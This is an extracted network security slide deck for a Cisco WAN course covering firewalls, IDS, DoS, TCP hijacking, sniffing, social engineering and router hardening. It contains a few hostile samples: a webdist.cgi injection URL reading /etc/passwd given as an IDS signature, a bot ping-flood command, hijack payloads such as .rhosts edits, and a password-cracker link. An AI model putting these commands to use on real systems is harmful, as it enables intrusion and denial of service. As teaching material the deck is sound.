Network Security

Enterprise Network Security
Accessing the WAN Chapter 4
Version 4.0
2006 Cisco Systems, Inc. All rights reserved.
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Objectives
Describe the general methods used to mitigate security threats to Enterprise networks Configure Basic Router Security Explain how to disable unused Cisco router network services and interfaces Explain how to use Cisco SDM Manage Cisco IOS devices
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A Brief History of the World
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What is Security
Dictionary.com says:
1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as: 1. A group or department of private guards: Call building security if a visitor acts suspicious. 2. Measures adopted by a government to prevent espionage, sabotage, or attack. 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. etc.
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Why do we need security?

Protect vital information while still allowing access to those who need it Trade secrets, medical records, etc. Provide authentication and access control for resources Ex: AFS Guarantee availability of resources Ex: 5 9s (99.999% reliability)
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Why do we need security?

Protect vital information while still allowing access to those who need it Trade secrets, medical records, etc. Provide authentication and access control for resources Ex: AFS Guarantee availability of resources Ex: 5 9s (99.999% reliability)
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Who is vulnerable?
Financial institutions and banks Internet service providers Pharmaceutical companies Government and defense agencies Contractors to various government agencies Multinational corporations ANYONE ON THE NETWORK
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Common security attacks and their countermeasures

Finding a way into the network Firewalls Exploiting software bugs, buffer overflows Intrusion Detection Systems Denial of Service Ingress filtering, IDS TCP hijacking IPSec Packet sniffing Encryption (SSH, SSL, HTTPS) Social problems Education
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Firewalls
Basic problem many network applications and protocols have security problems that are fixed over time Difficult for users to keep up with changes and keep host secure Solution Administrators limit access to end hosts by using a firewall Firewall is kept up-to-date by administrators
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Firewalls
A firewall is like a castle with a drawbridge Only one point of access into the network This can be good or bad Can be hardware or software Ex. Some routers come with firewall functionality ipfw, ipchains, pf on Unix systems, Windows XP and Mac OS X have built in firewalls
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Firewalls
Internet
DMZ
Web server, email server, web proxy, etc
Firewall
Firewall
Intranet
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Firewalls
Used to filter packets based on a combination of features
These are called packet filtering firewalls There are other types too, but they will not be discussed Ex. Drop packets with destination port of 23 (Telnet) Can use any combination of IP/UDP/TCP header information man ipfw on unix47 for much more detail
But why dont we just turn Telnet off?
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Firewalls
Here is what a computer with a default Windows XP install looks like:
135/tcp open loc-srv 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 3389/tcp open ms-term-serv 5000/tcp open UPnP
Might need some of these services, or might not be able to control all the machines on the network
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Intrusion Detection
Uses intrusion signatures
Well known patterns of behavior Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc.
Example
IRIX vulnerability in webdist.cgi Can make a rule to drop packets containing the line
/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd
However, IDS is only useful if contingency plans are in place to curb attacks as they are occurring
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Minor Detour
Say we got the /etc/passwd file from the IRIX server What can we do with it?
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Dictionary Attack
We can run a dictionary attack on the passwords
The passwords in /etc/passwd are encrypted with the crypt(3) function (one-way hash) Can take a dictionary of words, crypt() them all, and compare with the hashed passwords
This is why your passwords should be meaningless random junk!

For example, sdfo839f is a good password That is not my andrew password Please dont try it either
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Denial of Service
Purpose: Make a network service unusable, usually by overloading the server or network Many different kinds of DoS attacks SYN flooding SMURF Distributed attacks Mini Case Study: Code-Red
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Denial of Service
SYN flooding attack Send SYN packets with bogus source address Why? Server responds with SYN ACK and keeps state about TCP half-open connection Eventually, server memory is exhausted with this state Solution: use SYN cookies In response to a SYN, create a special cookie for the connection, and forget everything else Then, can recreate the forgotten information when the ACK comes in from a legitimate connection
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Denial of Service
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Denial of Service
SMURF Source IP address of a broadcast ping is forged Large number of machines respond back to victim, overloading it
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Denial of Service
I I
2006 Cisco Systems, Inc. All rights reserved. Cisco Public
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Denial of Service
Distributed Denial of Service
Same techniques as regular DoS, but on a much larger scale Example: Sub7Server Trojan and IRC bots Infect a large number of machines with a zombie program Zombie program logs into an IRC channel and awaits commands Example:
Bot command: !p4 207.71.92.193 Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000 Sends 10,000 64k packets to the host (655MB!)
Read more at: http://grc.com/dos/grcdos.htm
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Denial of Service
Mini Case Study CodeRed July 19, 2001: over 359,000 computers infected with Code-Red in less than 14 hours Used a recently known buffer exploit in Microsoft IIS Damages estimated in excess of $2.6 billion
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Denial of Service
Why is this under the Denial of Service category? CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month! Spent the rest of its time infecting other hosts
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Denial of Service
How can we protect ourselves? Ingress filtering If the source IP of a packet comes in on an interface which does not have a route to that packet, then drop it RFC 2267 has more information about this Stay on top of CERT advisories and the latest security patches A fix for the IIS buffer overflow was released sixteen days before CodeRed had been deployed!
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TCP Attacks
Recall how IP works End hosts create IP packets and routers process them purely based on destination address alone Problem: End hosts may lie about other fields which do not affect delivery Source address host may trick destination into believing that the packet is from a trusted source Especially applications which use IP addresses as a simple authentication method Solution use better authentication methods
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TCP Attacks
TCP connections have associated state Starting sequence numbers, port numbers Problem what if an attacker learns these values? Port numbers are sometimes well known to begin with (ex. HTTP uses port 80) Sequence numbers are sometimes chosen in very predictable ways
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TCP Attacks
If an attacker learns the associated TCP state for the connection, then the connection can be hijacked! Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source Ex. Instead of downloading and running new program, you download a virus and execute it
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TCP Attacks
Say hello to Alice, Bob and Mr. Big Ears
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TCP Attacks
Alice and Bob have an established TCP connection
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TCP Attacks
Mr. Big Ears lies on the path between Alice and Bob on the network He can intercept all of their packets
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TCP Attacks
First, Mr. Big Ears must drop all of Alices packets since they must not be delivered to Bob (why?)
Packets The Void
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TCP Attacks
Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network)
ISN, SRC=Alice
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TCP Attacks
What if Mr. Big Ears is unable to sniff the packets between Alice and Bob? Can just DoS Alice instead of dropping her packets Can just send guesses of what the ISN is until it is accepted How do you know when the ISN is accepted? Mitnick: payload is add self to .rhosts Or, xterm -display MrBigEars:0
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TCP Attacks
Why are these types of TCP attacks so dangerous?
Web server
Trusting web client
Malicious user
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TCP Attacks
How do we prevent this? IPSec Provides source authentication, so Mr. Big Ears cannot pretend to be Alice Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is
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Five Minute Break

For your enjoyment, here is something completely unrelated to this lecture:
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Packet Sniffing
Recall how Ethernet works When someone wants to send a packet to some else They put the bits on the wire with the destination MAC address And remember that other hosts are listening on the wire to detect for collisions It couldnt get any easier to figure out what data is being transmitted over the network!
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Packet Sniffing
This works for wireless too! In fact, it works for any broadcast-based medium
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Packet Sniffing
What kinds of data can we get? Asked another way, what kind of information would be most useful to a malicious user? Answer: Anything in plain text Passwords are the most popular
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Packet Sniffing
How can we protect ourselves? SSH, not Telnet
Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead!) Now that I have told you this, please do not exploit this information Packet sniffing is, by the way, prohibited by Computing Services
HTTP over SSL

Especially when making purchases with credit cards!
SFTP, not FTP

Unless you really dont care about the password or data Can also use KerbFTP (download from MyAndrew)
IPSec
Provides network-layer confidentiality
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Social Problems
People can be just as dangerous as unprotected computer systems People can be lied to, manipulated, bribed, threatened, harmed, tortured, etc. to give up valuable information Most humans will breakdown once they are at the harmed stage, unless they have been specially trained Think government here
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Social Problems
Fun Example 1: Hi, Im your AT&T rep, Im stuck on a pole. I need you to punch a bunch of buttons for me
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Social Problems
Fun Example 2: Someone calls you in the middle of the night Have you been calling Egypt for the last six hours? No Well, we have a call thats actually active right now, its on your calling card and its to Egypt and as a matter of fact, youve got about $2000 worth of charges on your card and read off your AT&T card number and PIN and then Ill get rid of the charge for you
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Social Problems
Fun Example 3: Who saw Office Space? In the movie, the three disgruntled employees installed a money-stealing worm onto the companies systems They did this from inside the company, where they had full access to the companies systems What security techniques can we use to prevent this type of access?
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Social Problems
There arent always solutions to all of these problems Humans will continue to be tricked into giving out information they shouldnt Educating them may help a little here, but, depending on how bad you want the information, there are a lot of bad things you can do to get it So, the best that can be done is to implement a wide variety of solutions and more closely monitor who has access to what network resources and information But, this solution is still not perfect
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Configure Basic Router Security

Explain why the security of routers and their configuration settings is vital to network operation
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Securing Your Network

Think about router security in terms in these categories: 1.Physical security 2.Update the router IOS whenever advisable 3.Backup the router configuration and IOS 4.Harden the router to eliminate the potential abuse of unused ports and services
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Applying Cisco IOS Security Features To Routers
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By default, Cisco IOS software leaves passwords in plain text when they are entered on a router. This is not secure since anyone walking behind you when you are looking at a router configuration could snoop over your shoulder and see the password.
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Manage Router Security

By default, Cisco IOS software leaves passwords in plain text when they are entered on a router. This is not secure since anyone walking behind you when you are looking at a router configuration could snoop over your shoulder and see the password.
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Using the enable password command or the username username password password command would result in these passwords being displayed when looking at the running configuration.
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Encrypting Password with Type 7 encryption
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Cracking Type 7 Encryption

To crack a type 7 cisco router password go to http://www.ifm.net.nz/cookbooks/passwordcracker.html
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Using MD5 Encryption

MD5 (Message-Digest algorithm 5) is a widely used cryptographic hash function with a 128-bit hash value.
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Setting Password Length

Cisco IOS Software Release 12.3(1) and later allow administrators to set the minimum character length for all router passwords using the security passwords minlength global configuration command.
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Securing Remote Administrative Access To Routers

Controlling VTY Line 0 4 Telnet/SSH 1. Set router parameters 2. Set the domain name 3. Generate asymmetric keys 4. Configure local authentication and vty 5. Configure SSH timeouts 6. Test SSH on PC
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Explain How to Disable Unused Cisco Router Network Services and Interfaces
Describe the router services and interfaces that are vulnerable to network attack
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Explain the vulnerabilities posed by commonly configured management services
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Securing Vulnerable Router Services and Interfaces

There are a variety of commands that are required to disable services. The show running-config output in the figure provides a sample configuration of various services which has been disabled. Services which should typically be disabled are listed below. These include:
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Disable services that allow certain packets to pass through the router, send special packets, or are used for remote router configuration. The corresponding commands to disable these services are:
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The interfaces on the router can be made more secure by using certain commands in interface configuration mode:
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Explain how to secure a router with the command-line interface (CLI) auto secure command
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Locking Down A Router Using Cisco Auto Secure

Cisco AutoSecure uses a single command to disable non-essential system processes and services, eliminating potential security threats. You can configure AutoSecure in privileged EXEC mode using the auto secure command
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Manage Cisco IOS Devices

Describe how to backup and upgrade a Cisco IOS image
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Commands for Managing Configuration Files

Good practice for maintaining system availability is to ensure you always have backup copies of the startup configuration files and IOS image files. The Cisco IOS software copy command is used to move configuration files from one component or device to another, such as RAM, NVRAM, or a TFTP server.
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Commands for Managing Configuration Files
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Explain how to back up and upgrade Cisco IOS software images using a network server
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Explain how to recover a Cisco IOS software image
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Compare the use of the show and debug commands when troubleshooting Cisco router configurations
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Explain how to recover the enable password and the enable secret passwords
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Summary
Security Threats to an Enterprise network include:
Unstructured threats Structured threats External threats Internal threats
Methods to lessen security threats consist of:

Device hardening Use of antivirus software Firewalls Download security updates
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Summary
Basic router security involves the following:
Physical security Update and backup IOS Backup configuration files Password configuration Logging router activity
Disable unused router interfaces & services to minimize their exploitation by intruders Cisco SDM
A web based management tool for configuring security measures on Cisco routers
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Summary
Cisco IOS Integrated File System (IFS)
Allows for the creation, navigation & manipulation of directories on a cisco device
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Enterprise Network Security

Accessing the WAN Chapter 4

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

A Brief History of the World

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

Why do we need security?

2006 Cisco Systems, Inc. All rights reserved.

Why do we need security?

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

Common security attacks and their countermeasures

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

But why dont we just turn Telnet off?

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

This is why your passwords should be meaningless random junk!

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

Read more at: http://grc.com/dos/grcdos.htm

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

Packets The Void

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

Trusting web client

2006 Cisco Systems, Inc. All rights reserved.

Five Minute Break

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

HTTP over SSL

SFTP, not FTP

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

2006 Cisco Systems, Inc. All rights reserved.

Configure Basic Router Security

2006 Cisco Systems, Inc. All rights reserved.

Securing Your Network

2006 Cisco Systems, Inc. All rights reserved.

Configure Basic Router Security

2006 Cisco Systems, Inc. All rights reserved.